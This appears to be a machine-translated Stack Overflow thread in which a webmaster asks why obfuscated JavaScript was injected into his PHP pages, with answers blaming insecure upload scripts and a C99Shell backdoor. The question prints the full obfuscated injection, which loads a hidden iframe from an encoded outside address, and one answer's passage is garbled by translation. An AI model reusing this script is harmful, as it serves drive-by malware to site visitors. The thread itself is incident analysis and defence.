19

問題:

私のウェブスペースには、すべてこれで終わるPHPファイルがあります。

<?php include 'footer.php'; ?>

この行の前に、ファイルにHTMLコードも含まれています。

もちろん、ブラウザの出力はこれで終わります。

</body>
</html>

しかし、昨日、突然、最後に悪意のあるコードがいくつかありました。私のindex.phpの出力は次のとおりです。

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>

Webスペース(FTP経由でダウンロード)でファイルを開いたところ、誰かがこのコードをファイルに直接挿入しているのがわかりました。

これはどのように起こりますか?

私が想像できる唯一の方法:

  • 誰かが私のFTPパスワードを取得しました。しかし、彼はそれを1つのファイルにまとめただけではありませんでした。彼はもっと多くのダメージを与えることができたでしょう。だから私はこれが事実だとは想像できません。
  • 私は自分のPCにウイルスを持っています。編集にはNotepad++を使用し、アップロードにはFileZillaを使用しています。たぶん、これらのプログラムも汚染されていて、私は悪意のあるコードをアップロードしました-知らないうちに。
  • 誰かがセキュリティホール(XSS)を使用して、そのコードをページに配置しました。しかし、彼はそれをファイルに正しく入れることができなかったでしょう?

症状:

ユーザーは、Firefoxで青いパネルがポップアップすることを報告しました。プラグインをインストールするように依頼しました。現在、それらの一部はPC上にExploit.Java.CVE-2010-0886.aを持っています。

これは悪意のあるコードによるものですか?コードは正確に何をしましたか?

手伝って頂けますか?

私を助けてください、私は本当に必死です。

私がどうやってそれを手に入れることができたのか知っているなら、たぶんもう一つ質問があります:将来このようなことをどうやって防ぐことができますか?

編集#1:

Webスペースのルートディレクトリに「x76x09.php」というファイルが見つかりました。ファイルサイズは44.281バイトです。ダウンロードして開こうとしました。しかし、私のウイルス対策ソフトウェアは、それがトロイの木馬(Trojan.Script.224490)だと言っていました。このファイルが実行され、すべてのディレクトリの「index.php」に悪意のあるコードが追加されたと思います。これは役に立ちますか?トロイの木馬はどのようにして私のWebスペースに到達することができますか?これはよく知られているウイルスですか?

編集#2:

私のホスティング業者は、ファイルがFTP経由でアップロードされていないことを確認できると言っています。そのため、FTP経由では感染は発生しませんでした。私のホスティング業者によると、それは安全でないスクリプトであるに違いありません。

編集#3:

PHPSecInfoによるセキュリティホール:

  • allow_url_fopen = 1
  • allow_url_include = 1
  • export_php = 1
  • file_uploads = 1(これは、悪意のある「x76x09.php」ファイルのせいですか?)
  • group_id = 99
  • user_id = 99

編集#4:

Webサーバーで実行されたファイルを分析しました。結果は次のとおりです。

したがって、このウイルスは次のように知られているようです。

  • PHP / C99Shell.BF
  • バックドア/PHP.C99Shell
  • BackDoor.Generic_c.CQA
  • Trojan.Script.224490
  • Exploit.PHP.635
  • Backdoor.PHP.C99Shell.bf
  • Trojan.Script.224490

それらのいくつかは、悪意のあるコードを追加した私のWebスペースに悪意のあるファイルを引き起こす可能性がありますか?

4

10 に答える 10

17

Web サイトに同じスクリプトが追加されている他の 6 つ ( degmsbBenvoliojoomla01DJ-Alienvalerione1979、およびKars ) を見つけたので、問題は共有ホストを使用していることではないと思います。また、FTP 経由でアップロードされたファイルはファイル作成モードのビット マスクの対象となるため、他のユーザーがファイルを書き込める可能性も疑わしいものです。

私の推測では、誰かが既知のエクスプロイトまたは一般的な弱点に対するエクスプロイトのいずれかを使用して Web サイトをクラッキングしており、この人物がGoogle のハッキングでターゲットになりそうなものを特定していると考えられます。degmsb の Wordpress Web サイトと Benvolio の Burning Board Lite Web サイトは、既知のエクスプロイト (TinyMCE などのこれらのソフトウェア ベースへのプラグインの既知のエクスプロイトの可能性があります) によってクラックされた可能性が高く、あなたの Web サイトは、自分で作成したため、一般的な Web サイトに対するエクスプロイトによってクラックされた可能性があります。弱点。

ファイルのアップロードを許可している場合 (PHP スクリプトの 1 つが、ユーザーがアップロードしたファイルを受け入れて保存する)、CWE-434: Unrestricted Upload of File with Dangerous Type を検討します。CWE-434 エクスプロイトは次のように機能します。ユーザーがアバターの画像や写真をアップロードできるようにするとします。アップロードされた画像が POST されるスクリプトは/images、ユーザーが指定したのと同じファイル名を使用してファイルを保存する場合があります。ここで、誰かがx76x09.gif.php(またはx76x09.gif.aspx76x09.gif.php4など) をアップロードしたとします。あなたのスクリプトはこのアップロードを に忠実に保存します。/images/x76x09.gif.phpサーバーにこのスクリプトを実行させるためにクラッカーが行う必要があるのは、 を参照することだけ/images/x76x09.gif.phpです。ファイルの名前が であってもx76x09.php.gif、一部の Web サーバーはファイルを実行します。

もう 1 つの可能性は、PHP が受信するアップロードのファイル名(送信されるヘッダー$_FILES['upload']['name']filename値) が、. スクリプトが新しくアップロードしたファイルを、またはWindows 以外のホスト ( http://codepad.org/t83dYZwa ) に保存し、ユーザーが PHP スクリプトの 1 つまたは任意のスクリプトをディレクトリ (たとえば、Content-Disposition..\modules\x.gifstr_replace('\\', '/', '/images/' . basename($_FILES['upload']['name']))/images/../modules/x.gifincluderequiremodulesindex.php?module=x.gif&action=blah

編集:ある種の無制限のディレクトリブラウザとファイルアップローダーのようです。 x76x09.phpユーザーがこれをサーバーにアップロードできた場合、基本的に、FTP アクセスでできることは何でもできます。消して。

EDIT2:この PHP ソース(の部分gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A"));)のコピーを探します。すべての PHP スクリプトから削除します。

EDIT3: PHPスクリプトの一部をグーグルで検索すると、このソースが逐語的にリストされているWebページがいくつか見つかりました.これらのページはすべて、それぞれのWebサイトのファイルアップロード機能と関係があります. したがって、あなたの Web サイトのハッカーが CWE-434 エクスプロイトを使用した可能性が非常に高いと思われます。

于 2010-07-02T15:20:43.843 に答える
7

サーバーが侵害されたようですが、共有ホストを使用していますか?

サーバーのセキュリティ構成は、次のコマンドで確認できます。

PhpSecInfo

代替テキスト
(ソース:phpsec.org

于 2010-06-25T20:58:06.137 に答える
3

誰と一緒にホストされていますか?一部のホスティング業者には、悪用される可能性のあるセキュリティリークがあります。

WordPressを使用していますか?また、多くのアウトブレイクが報告されています。最善の方法は、同様の問題を抱えている人をグーグルで探すことです。これは原因にもつながり、解決策につながります。

于 2010-06-25T20:55:49.037 に答える
3

他の人が示唆しているように、脆弱性は、使用しているスクリプトにある可能性が最も高く、おそらく自分で作成したものか、既知の脆弱性を持つよく知られたアプリケーションにあります。これはアップロード スクリプトの脆弱性である可能性がありますが、SQL インジェクションによってファイルを「アップロード」することも可能であることを指摘したいと思います。詳細については、次のスレッドを参照してください。

于 2010-07-03T16:17:00.370 に答える
2

しばらく前に、主要なWebプロパティの1つでこれと同様の問題が発生しました。あなたのウェブホストが言ったことは正しかった:それはFTPアクセスではなく、どういうわけか任意のファイルの変更を許可した安全でないスクリプトが原因である可能性が高い。私たちの場合、古いphpMyAdminの脆弱性により、一部のPHPスクリプトに変更が加えられました。

まだ行っていない場合は、WebサーバーがすべてのスクリプトとHTMLファイルに対する読み取り権限のみを持っていることを確認することをお勧めします。この場合、Apacheもスクリプトに書き込むことができることがわかりました。単に

cd web_files_directory
chown -R some_not_web_server_user:some_not_web_server_group .
find . -type f | xargs chmod 644
find . -type d | xargs chmod 755
于 2010-06-30T23:01:04.677 に答える
1

FTPまたはSSHのパスワードを非常に安全なものに変更することをお勧めします。ホスティングプロバイダーを使用している場合は、違反についても通知する必要があります。あなたが問題を調査するためのログを持っていないなら、彼らはそうするかもしれません。また、ページに追加されたコードをGoogleで検索して、他に何かが見つかるかどうかを確認する必要があります。

于 2010-06-25T20:57:14.430 に答える
1

phsource が最も近いです。

共有サーバーを使用している場合、他のユーザーはサーバー自体にアクセスできます。これは、共有サーバーの一種の定義です。問題は、パーミッションが 777 のファイルがある場合、それらがワールド ユーザー グループで書き込み可能になることです。つまり、ボックスにアクセスできる人は誰でもそれらに書き込むことができます。問題が見えますか?

脆弱なパスワード、不十分な構成のスクリプト、またはひどいコードを持っているのは、そのボックスの 1人だけであり、平凡なスクリプトのキディは、ボックス全体にあらゆる種類の問題を引き起こす可能性があります。これらの攻撃のほとんどは完全に自動化されています。アクセスを取得し、攻撃可能なファイルをスキャンし、必要に応じて追加します。

ほとんどの場合、すべてのファイルのアクセス許可を 755 または 644 に変更する必要があります。夜はよく眠れます。

クリーンアップが完了したら、Google が悪意のあるサイトとしてフラグを立てていないことを確認してください。クリーンアップするのは恐ろしいことではありませんが、その間にトラフィックが減少する可能性があります.

于 2010-07-01T04:11:47.117 に答える
1

脆弱な Web アプリケーションを自分で作成した場合は、悪用される可能性のあるほとんどのアクセス ポイントがどこにあるかを把握するのに、すでに有利なスタートを切っています。残念ながら、それだけでは不十分な場合があります (安全な Web アプリケーションを作成して維持することは、ほとんどの人が考えるよりも困難です)。

自分でアプリケーションを作成していない場合、または他の人が作成した大規模で複雑なコンポーネントを再利用している場合、または単に Web サイトのセキュリティを処理するための支援が必要な場合は、サイトをクロールできる商用サービスがあります。そして、それらがどこで脆弱であるかを把握しようとします。例えば:

http://www.qualys.com/products/qg_suite/was/

これらのサービスには明らかに費用がかかりますが、通常は「無料トライアル」を利用して、役立つかどうかを確認できます。幸運を!

于 2010-07-03T16:38:55.357 に答える
0

これは、しばらく前にさまざまな方法で私に起こりました。仕事用アカウントは、コード エクスプロイトによって phpBB を介して侵害されました。どういうわけか、彼らは自分自身を mySQL db users テーブルに追加しました。そのため、プログラムを完全に削除し、使用を中止しました。

古い Joomla のインストールは、私の個人サイトであなたが言っていることを正確に実行できる脆弱性でした。私はそれがそこにあることすら忘れていましたが、悪意のあるコードをいくつかの異なるサイトにインストールするための扉を開くには十分でした. サイトを停止し、権限を変更し、Joomla を更新し、ファイルをスクラブしました。

私の現在の運用サーバーは、いくつかのピーク時のハッキング試行中に 1 時間に 1000 回以上 phpMyAdmin の「盗聴」を受けます。悪者どもは残業中!

要するに、オープン ソース コードには注意してください。使用する場合は、更新、更新、更新してください。

于 2010-06-30T23:07:48.133 に答える
0

静的 IP を使用している場合 - 自分の IP 以外からの ftp アクセスを禁止できます

于 2010-06-25T21:01:51.307 に答える